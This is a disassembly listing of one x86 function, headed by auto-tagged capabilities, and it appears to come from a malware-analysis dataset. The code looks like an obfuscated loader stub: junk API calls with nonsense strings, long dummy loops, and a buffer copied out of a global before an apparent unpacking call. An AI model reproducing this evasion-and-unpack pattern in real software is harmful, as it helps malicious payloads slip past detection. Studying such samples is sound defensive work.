Function at 0x409e40
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x844
mov eax, dword [0x448004]
xor eax, esp
mov dword [esp + 0x840], eax
mov edx, dword [0x2b6ee24]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x409ef2
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.Feyixafufab_dozameceyowanu_dig_gogapiwek_liwibumewabuya
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
lea eax, [esp + 0x4c]
push eax
push ebx
push str.Juzajimosoyezo
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2b6ee24], 0x2d
jne 0x409ecd
push ebx
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401267
add esp, 4
lea edx, [esp + 0x20]
push edx
call section..text
mov edx, dword [0x2b6ee24]
mov ecx, dword [0x449cf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x409f0f
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x409f23
mov dword [0x44aa00], edi
mov dword [0x44aa04], esi
inc eax
cmp eax, 0xb9fa618
jl 0x409f02
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b6ee24], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x409f52
mov eax, dword [0x449ce4]
mov dword [0x2b6ee28], eax
cmp edx, 0x3c
jne 0x409f60
push ebx
call edi
mov edx, dword [0x2b6ee24]
inc esi
cmp esi, 0x5f6c74
jl 0x409f40
cmp edx, 0x110a
jne 0x409ff7
push ebx
mov dword [0x2b6ecf0], ebx
mov dword [0x2b6ecf4], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [esp + 0x20]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.004010ee
push str.0__s__d__f
call fcn.0040123f
add esp, 0xc
push ebx
call fcn.0040112e
add esp, 4
push ebx
call fcn.0040112e
add esp, 4
push 0x447184
push 0x44a978
call fcn.0040106a
add esp, 8
push ebx
call fcn.00401500
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2b6ee24]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b6eb4c], eax
cmp dword [0x2b6ee24], ebx
jbe 0x40a06e
mov edi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x40a030
mov eax, dword [0x2b6ee28]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2b6eb4c]
mov byte [eax + esi], dl
cmp dword [0x2b6ee24], 0x5ab
jne 0x40a065
push ebx
push str.Ginaci_diwiveharokudo_rehowasut
call edi
inc esi
cmp esi, dword [0x2b6ee24]
jb 0x40a030
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409b70
mov eax, dword [0x2b6ee24]
mov edi, dword [0x2b6eb4c]
mov ebx, dword [0x448ed0]
mov esi, eax
cmp eax, 0x930
jne 0x40a0a5
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b6ee24]
mov dword [0x2b6eb48], ebx
cmp eax, 0x114e
jne 0x40a0cd
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2b6ee24]
cmp eax, 0x2f
jne 0x40a10b
lea edx, [esp + 0x18]
push edx
xor eax, eax
push eax
xor ecx, ecx
push ecx
lea edx, [esp + 0x18]
push edx
xor ebx, ebx
push ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push esi
push edi
call fcn.00409cc0
add dword [0x2b6eb4c], 0
mov ebx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 8
xor esi, esi
jmp 0x40a130
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x40a148
cmp ebx, 0xf5bed7
jne 0x40a151
inc esi
cmp esi, 0x1ece7a52
jl 0x40a130
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0xc], 0x1519a5
mov ebx, 0x8e46a6f0
lea ebx, [ebx]
cmp dword [0x2b6ee24], 0xcc1
jne 0x40a17e
call edi
cmp dword [0x2b6ee24], 0x3dc
mov dword [0x2b6ecec], ebx
jne 0x40a194
push 0
call esi
dec dword [esp + 0xc]
jne 0x40a170
mov ecx, dword [esp + 0x84c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
mov esp, ebp
pop ebp
ret